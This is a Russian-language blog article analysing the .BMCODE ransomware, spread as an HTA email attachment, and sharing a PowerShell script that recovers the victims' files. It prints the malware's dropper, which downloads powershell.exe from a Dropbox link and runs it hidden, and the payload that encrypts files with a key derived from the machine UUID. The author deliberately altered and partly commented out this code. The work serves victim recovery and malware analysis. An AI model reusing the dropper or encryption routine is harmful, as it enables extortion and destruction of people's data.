Pull to refresh

PowerShell. Дешифруем файлы после воздействия «вируса»

Information Security *Programming *
Sandbox
В неком городе России
(Может быть, что даже в вашем)
Есть не маленькая фирма.
Арендует помещенье
У НИИморгорворпрома.

В этой фирме есть сотрудник, почту любящий читать. Открывает как-то файл, кем-то вложенный нарочно, в недра письмеца пришедшего. Запустив без задней мысли «Благодарственное письмо.hta» и не увидев поздравления, покурить решил немного. Возвращаясь с перекура, он читает в беспокойстве:

Если Вы читаете это сообщение, значит Ваш компьютер был атакован опаснейшим вирусом.
Вся Ваша информация (документы, фильмы и другие файлы) на этом компьютере была зашифрована
с помощью самого криптостойкого алгоритма в мире RSA1024.
Восстановить файлы можно только при помощи специальной программы. Чтобы её получить, Вам необходимо
написать нам письмо на адрес unblockme@tormail.org

При попытке расшифровки без нашей программы файлы могут повредиться!
К письму прикрепите файл, который находится на рабочем столе «READ_ME_NOW!!!!!!.TXT», либо этот файл
Письма с угрозами будут угрожать только Вам и Вашим файлам! НЕ ЗАБУДЬТЕ: только МЫ можем расшифровать Ваши файлы!

pz8FkWJXdijcajJcWfhJ27TGPgcNNEKXDBcsdyzfX+lUoq68eAptVmGNIYLD8eti1kwicdOR59pwOC7XM7T+YLccqyeJqc5loxMCKy4pklzbMJBRm и т.д.


Теперь тоже самое другими словами. Сотруднику пришло письмо с вложением «Благодарственное письмо.rar» В теле письма указывалось что архив запаролен и давался пароль. Так уж совпало что в эти дни клиенты слали подобные письма и сотрудник ничего не заподозрил. Открыв архив и запустив вложение «Благодарственное письмо.hta». Через некоторое время почти все файлы приобрели расширение .BMCODE (дописалось в конец, не удаляя текст оригинального расширения) и в каждой папке лежала READ_ME_NOW!!!!!!.txt c указанным выше текстом. Пользователь сообщил «куда надо» и за дело взялись «кто надо».
Первым делом без паники взглянули в это *.hta и увидели:
Оригинальный код здесь и далее немного изменён и закомментирован дабы не было случайных запусков.
Код hta
<!-- Тут много знаков в base64-->

<html>
    <head>
        <meta charset="windows-1251">
    </head>
	<HTA:APPLICATION  
     ID="objHTA_Info"  
     APPLICATIONNAME="HTA_Info"  
     SINGLEINSTANCE="yes" >  
    <body>
        <script language=VBScript>
'Execute base64decode(" Тут тоже много знаков в base64 ")

      
Function base64decode(data)
			a="CDO.Message"
			set b=CreateObject(a)
    With b.BodyPart
        .ContentTransferEncoding = "base64"
        .Charset = "windows-1251"
        With .GetEncodedContentStream
            .WriteText data
            .Flush
        End With
        With .GetDecodedContentStream
            .Charset = "utf-8"
            base64decode = .ReadText
        End With
    End With
End Function


        </script>
    </body>
</html>


Смотрим дальше (у отдела началась истерика от смеха насколько всё гениально и просто):

Execute base64decode(
a1686979793=1686979793:
 Const SYSTEM32 = &H25:Set
# fso = CreateObject("Scripting.FileSystemObject"):
Set objShell = CreateObject("Shell.Application"):
Set wshShell = CreateObject( "WScript.Shell" ):
#Set objFolder = objShell.Namespace(SYSTEM32):
Set objFolderItem = objFolder.Self:
filepath = replace(objHTA_Info.commandLine,chr(34),""):
arguments = " -command $path=((get-content -Path '" + filepath + "' -totalcount 1) -split '%'[1];
#$bytes  = [System.Convert]::FromBase64String($path);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes);
Invoke-Expression $decoded":
Path = objFolderItem.Path + "\WindowsPowerShell\v1.0\powershell.exe":
newPath = Path & arguments:RarPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell.exe":
TestPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell\powershell.exe":.
appNewPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell\powershell.exe" & arguments:
If (fso.FileExists(Path)) Then:
wshShell.Run newPath, 0, False: 
       Else       :                
#If Not (fso.FileExists(TestPath)) Then:
 dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP"):  
 dim bStrm: Set bStrm = createobject("Adodb.Stream"):
 xHttp.Open "GET", "https://dl.dropbox.com/sh/wn8x35r9l9wsitn/XSwafOFh9E/powershell.exe?dl=1", False: 
 xHttp.Send:
 with bStrm:   
 .type = 1:
 .open:
 #.write xHttp.responseBody: 
 .savetofile RarPath, 2:
 end with:
 wshShell.Run RarPath, 0, True:
 End If               :
 wshShell.Run appNewPath, 0, True   :
End If


Примерно поняв, что главное — выкачивается PowerShell с аккаунта на dropbox.com теряем интерес к этому куску.
Далее:

первый кусок в base64
$1686979793=1686979793;
$ErrorActionPreference="SilentlyContinue";
if(((Get-Process -Name powershell).count) -ge 2){exit}$ref=[Reflection.Assembly]::LoadWithPartialName('System.Security');

Add-Type -Assembly System.Web;
$ek=(get-wmiobject Win32_ComputerSystemProduct).UUID;
[byte[]]$bytes=[system.Text.Encoding]::Unicode.GetBytes($ek);
$basekey="BgIAAACkAABSU0ExAAQAAAEAAQDTYUZyVxhh48R/1Y/H5NdEgi49DIHtJTXm+mcVHnvUpYiNEnxpFj/UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7+OzBuo11V/7EmvQBW2sfuNEOP7zdUw0DFKoK+X2Taewaki1LGYhpshjqg==";
#$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider;
#$rsa.ImportCspBlob([system.Convert]::FromBase64String($basekey));
$enckey=[system.Convert]::ToBase64String($rsa.Encrypt($bytes, $false));
$text= "Если Вы читаете это сообщение, значит Ваш компьютер был атакован опаснейшим вирусом.`r`nВся Ваша информация (документы, фильмы и другие файлы) на этом компьютере была зашифрована`r`nс помощью самого криптостойкого алгоритма в мире RSA1024.`r`nВосстановить файлы можно только при помощи специальной программы. Чтобы её получить, Вам необходимо`r`nнаписать нам письмо на адрес unblockme@tormail.org`r`nПри попытке расшифровки без нашей программы файлы могут повредиться!`r`nК письму прикрепите файл, который находится на рабочем столе `"READ_ME_NOW!!!!!!.TXT`", либо этот файл`r`nПисьма с угрозами будут угрожать только Вам и Вашим файлам! 
НЕ ЗАБУДЬТЕ: только МЫ можем расшифровать Ваши файлы!`r`n`r`n" + $enckey;

#function Encrypt-File($item, $Passphrase){
$salt="BMCODE hack your system";
$init="BMCODE INIT";
$r = new-Object System.Security.Cryptography.RijndaelManaged;
$pass = [Text.Encoding]::UTF8.GetBytes($Passphrase);
$salt = [Text.Encoding]::UTF8.GetBytes($salt);
$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32);
$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15];
$r.Padding="Zeros";
$r.Mode="CBC";
$c = $r.CreateEncryptor();
$ms = new-Object IO.MemoryStream;
$cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write";
$cs.Write($item, 0,$item.Length);
$cs.Close();
$ms.Close();
$r.Clear();
return $ms.ToArray();
}

#$disks=Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending;

foreach($disk in $disks){gci $disk.root -Recurse -Include "*.doc",Неприлично много форматов,"*.1cd"  |%{try {$file=[io.file]::Open($_, Open', 'ReadWrite');

#if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"}
[byte[]]$buff = new-object byte[] $size;
$ToEncrypt = $file.Read($buff, 0, $buff.Length);
$file.Position='0';
#$Encrypted=Enckrypt-File $buff $ek;
$file.Write($Encrypted, 0, $Encrypted.Length);
$file.Close();
#$newname=$_.Name+'.BMCODE';
#ren -Path $_.FulName -NewName $nename -Force;
$path=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT';
if(!(Test-Path $path)){sc -pat $path -va $text}
}
catch{}
}
}

Читаем, читаем и облегчённо выдыхаем. Ни о каком тотальном шифровании файлов речи не идёт.
Итак. Первым делом ищем ключи. Видим строки:
 $Encrypted=Enckrypt-File $buff $ek;
 $ek=(get-wmiobject Win32_ComputerSystemProduct).UUID;

и понимаем, что для ключа используется UUID компьютера. С этого момента становится ещё легче и почти смело забываем про первую часть, где формируется страшный ключ, который добавляется в *.TXT

Далее видим:
if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"}; 
[byte[]]$buff = new-object byte[] $size;

Из этого выясняем, что шифруется не весь файл, а только первая его часть если размер файла больше 40кб, если меньше, то весь файл.
Остается узнать UUID компьютера и написать скрипт для дешифровки.
UUID узнаем той же командой
(get-wmiobject Win32_ComputerSystemProduct).UUID

Запустив в PowerShell, который зловред заботливо закачал и не удалил из %TEMP%.

Теперь за написание скрипта. Сложность возникла только в понимании (и то из-за нехватки знаний, т.к. не приходилось раньше сталкиваться), что по примерам у M$ подобные функции передают в качестве параметра строку, а тут используют просто массив.

Собственно, что поучилось. Данный код — рабочий, без изменений и с лишними выводами для отслеживания процесса работы.
DEC_beta,ps1
cls
$null = [Reflection.Assembly]::LoadWithPartialName("System.Security");

$ek='00000000-0000-0000-0000-6CF04916E0EA';
 function Decrypt-String($Encrypted, $Passphrase){    
   $salt="BMCODE hack your system"
   $init="BMCODE INIT"
   $r = new-Object System.Security.Cryptography.RijndaelManaged 
   $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase) 
   $salt = [Text.Encoding]::UTF8.GetBytes($salt) 
   $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32)
   $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]
   $r.Padding="Zeros";
   $r.Mode="CBC";
   $d = $r.CreateDecryptor()
   $ms = new-Object IO.MemoryStream @(,$Encrypted) 
   $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read" 
   $Enc=$cs.read($Encrypted, 0,$Encrypted.Length)
   $cs.Close();
   $ms.Close();
   $r.Clear(); 
   return [byte[]]$Encrypted = $ms.ToArray()
}

 $dir= read-host "Введите полный пусь к папке или диску (Примеры: C:\, D:\111\)" 

gci $dir -Recurse -Include "*.BMCODE" |%{try 
{$_;
$file=[io.file]::Open($_, 'Open', 'ReadWrite');
#Wrire-host $file.Name;
write-Host "Размер файла:  $file.Length";
If ($file.Length -lt "40960"){$size=$file.Length}
Else{$size="40960"}
[byte[]]$buff = new-object byte[] $size;
$ToEncrypt = $file.Read($buff, 0, $buff.Length);
write-host $size;
$file.Position='0';

$arr=Decrypt-String $buff $ek;
Write-host $_.Name
Write-host $_.FullName

$file.Write($arr, 0, $arr.Length);
Write-host "Done";
$file.Close();
$newname=$_.Name -replace '.BMCODE','';

ren -Path $_.FullName -NewName $newname -Force;
Write-Host "Новое имя: $_.Name";
$hnya=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT'
rm $hnya;
}
catch{}
}

Что он делает, что надо изменить если понадобиться самим:
1)задаем в ручную переменную $ek c нужным ключом (в нашем случае UUID)
2)Описание функции декодирования, которая возвращает массив. Задаём переменные $salt и $init согласно тем, что были в исходном коде зловреда.
3)Просим запускающего указать путь, начиная с которого будет поиск файлов (ищем по вложенным папкам)
4)Каждый найденный фаил с указанным расширением (.BMCODE) декодируем и переименовываем в нормальный вид.
5)Попутно удаются файлы с именем READ_ME_NOW!!!!!!.TXT, которые насоздавал зловред.

Код не идеален и многое можно упростить и переписать, но главное — он работает и помогает.

Вот и всё. Надеюсь эта статья поможет всем кто уже столкнулся с подобной проблемой и не знает, что делать. Как пишут в рунете злоумышленники требуют за расшифровку от 3000 до 10000 руб, но и встречаются более сложные варианты зловредов, где просто так ключ уже не узнать.

За сим прощаюсь и надеюсь, что всёже найду время и напишу как мы в своём НИИморгорворпроме устанавливали видео наблюдение и вешали мышку в качестве звонка на двери отдела.

UPD
По результатам переписки.
Вариант .TFCODE
В варианте .TFCODE используется случайный пароль длиной 50 знаков. Файл с паролем был найден в
C:\Documents and Settings\USER\Application Data. Фаил System Product Name

В коде зловреда реализована своеобразная проверка на повторный запуск
$idpath = $env:APPDATA + "\" + (gwmi win32_computersystem).model;
if(Test-Path $idpath){$getc = Get-Content $idpath;
if ($getc -eq "good"){exit} else {$ek = $getc}}
......
Set-Content -Path $idpath -Value "good"


Если в файл уже записано good значит ключ уже так просто не найти. Так, что если случайно запустили зловреда или заметили, что файлы начали менять расширения, немедленно выключайте компьютер, чтобы остановить процесс шифровки и сохранить ключ.

Остальное всё тоже самое. В переменную $ek ставим строку из найденного файла. Меняем .BMCODE на .TFCODE, проверяем переменные $salt и $init и изменяем название *.TXT на то, что насоздавалось в папках (READ_ME_NOW.TXT).
Делаем пробный запуск на копиях зашифрованных фалов. Если всё хорошо, то радуемся.
Tags: PowerShellВирусыКриптография
Hubs: Information Security Programming
Total votes 86: ↑76 and ↓10 +66
Comments 34
Comments Comments 34

Popular right now

Top of the last 24 hours